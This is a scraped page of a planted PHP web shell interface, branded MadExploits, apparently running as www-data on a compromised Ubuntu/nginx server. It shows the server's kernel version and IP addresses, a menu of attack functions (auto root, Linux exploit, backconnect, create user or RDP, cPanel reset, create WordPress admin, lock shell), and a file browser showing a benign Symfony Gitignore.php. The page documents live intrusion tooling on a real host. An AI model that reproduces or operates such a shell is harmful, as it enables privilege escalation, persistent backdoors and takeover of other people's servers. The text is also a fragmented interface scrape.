Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
api.lmsschool /
vendor /
symfony /
finder /
[ HOME SHELL ]
Name
Size
Permission
Action
Comparator
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Iterator
[ DIR ]
drwxr-xr-x
CHANGELOG.md
1.92
KB
-rw-r--r--
Finder.php
21.87
KB
-rw-r--r--
Gitignore.php
3.12
KB
-rw-r--r--
Glob.php
3.54
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
README.md
500
B
-rw-r--r--
SplFileInfo.php
2.02
KB
-rw-r--r--
composer.json
754
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Gitignore.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Gitignore matches against text. * * @author Ahmed Abdou <mail@ahmd.io> */ class Gitignore { /** * Returns a regexp which is the equivalent of the gitignore pattern. * * @return string The regexp */ public static function toRegex(string $gitignoreFileContent): string { $gitignoreFileContent = preg_replace('/^[^\\\r\n]*#.*/m', '', $gitignoreFileContent); $gitignoreLines = preg_split('/\r\n|\r|\n/', $gitignoreFileContent); $gitignoreLines = array_map('trim', $gitignoreLines); $gitignoreLines = array_filter($gitignoreLines); $ignoreLinesPositive = array_filter($gitignoreLines, function (string $line) { return !preg_match('/^!/', $line); }); $ignoreLinesNegative = array_filter($gitignoreLines, function (string $line) { return preg_match('/^!/', $line); }); $ignoreLinesNegative = array_map(function (string $line) { return preg_replace('/^!(.*)/', '${1}', $line); }, $ignoreLinesNegative); $ignoreLinesNegative = array_map([__CLASS__, 'getRegexFromGitignore'], $ignoreLinesNegative); $ignoreLinesPositive = array_map([__CLASS__, 'getRegexFromGitignore'], $ignoreLinesPositive); if (empty($ignoreLinesPositive)) { return '/^$/'; } if (empty($ignoreLinesNegative)) { return sprintf('/%s/', implode('|', $ignoreLinesPositive)); } return sprintf('/(?=^(?:(?!(%s)).)*$)(%s)/', implode('|', $ignoreLinesNegative), implode('|', $ignoreLinesPositive)); } private static function getRegexFromGitignore(string $gitignorePattern): string { $regex = '('; if (0 === strpos($gitignorePattern, '/')) { $gitignorePattern = substr($gitignorePattern, 1); $regex .= '^'; } else { $regex .= '(^|\/)'; } if ('/' === $gitignorePattern[\strlen($gitignorePattern) - 1]) { $gitignorePattern = substr($gitignorePattern, 0, -1); } $iMax = \strlen($gitignorePattern); for ($i = 0; $i < $iMax; ++$i) { $doubleChars = substr($gitignorePattern, $i, 2); if ('**' === $doubleChars) { $regex .= '.+'; ++$i; continue; } $c = $gitignorePattern[$i]; switch ($c) { case '*': $regex .= '[^\/]+'; break; case '/': case '.': case ':': case '(': case ')': case '{': case '}': $regex .= '\\'.$c; break; default: $regex .= $c; } } $regex .= '($|\/)'; $regex .= ')'; return $regex; } }
Close